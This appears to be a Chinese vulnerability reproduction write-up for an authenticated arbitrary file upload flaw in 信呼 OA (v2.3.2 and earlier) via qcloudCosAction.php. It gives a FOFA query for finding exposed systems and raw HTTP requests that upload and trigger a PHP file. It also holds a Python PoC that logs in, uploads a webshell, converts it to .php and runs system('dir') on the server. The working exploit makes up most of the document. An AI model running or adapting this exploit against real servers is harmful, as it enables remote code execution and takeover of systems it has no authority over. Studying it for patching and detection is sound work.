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信呼OA qcloudCosAction.php 任意文件上传漏洞

漏洞描述

信呼 OA <=v2.3.2 版本在webmain\task\runt\qcloudCosAction.php云存储下调用了qcloudCosClassAction方法，导致文件上传漏洞。通过该漏洞，攻击者可突破上传限制，上传 php 文件获取服务器shell。

利用前提是已经获取了用户名/登陆口令。

参考链接：

漏洞影响

信呼OA <= 2.3.2

网络测绘

app="信呼协同办公系统"

漏洞复现

登陆页面：

登陆系统，找到上传点：

任务资源 → 文件传送 → 相关文件

上传1.php，记录filepath和id：

POST /index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=769871 HTTP/1.1
Host: www.xinhu2.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:multipart/form-data; boundary=
---------------------------40605609116060410203660967062
Content-Length: 250
Origin: http://www.xinhu2.com
Connection: close
Referer:http://www.xinhu2.com/index.php?m=upload&d=public&callback=&upkey=20220513091317429617&showid=fileidview
Cookie:deviceid=1650359786139;xinhu_mo_adminid=ye0xhh0xte0lp0yy0xtj0xtb0xtv0yy0xxt0jt0xtb0ye0yx0yp0le03;xinhu_ca_adminuser=admin;xinhu_ca_rempass=0;PHPSESSID=hp2qfqngssh75ij0r8j8kg6f47
-----------------------------40605609116060410203660967062
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>

-----------------------------40605609116060410203660967062--

查看1.php是否上传成功：

GET /task.php?m=qcloudCos|runt&a=run&fileid=9 HTTP/1.1
Host: www.xinhu2.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: deviceid=1650359786139; xinhu_mo_adminid=ye0xhh0xte0lp0yy0xtj0xtb0xtv0yy0xxt0jt0xtb0ye0yx0yp0le03; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=hp2qfqngssh75ij0r8j8kg6f47
Upgrade-Insecure-Requests: 1

上传后路径：

http://<IP>/upload/2024-01/23_16071247.php

漏洞POC

poc.py

# 1.php为webshell

# 需要修改以下内容：
# url_pre = 'http://<IP>/'
# 'adminuser': '<ADMINUSER_BASE64>',
# 'adminpass': '<ADMINPASS_BASE64>',

import requests

session = requests.session()
url_pre = 'http://<IP>/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
# url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=<ID>'
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': '<ADMINUSER_BASE64>',
    'adminpass': '<ADMINPASS_BASE64>',
    'yanzm': ''    
}

r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
print(filepath)
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)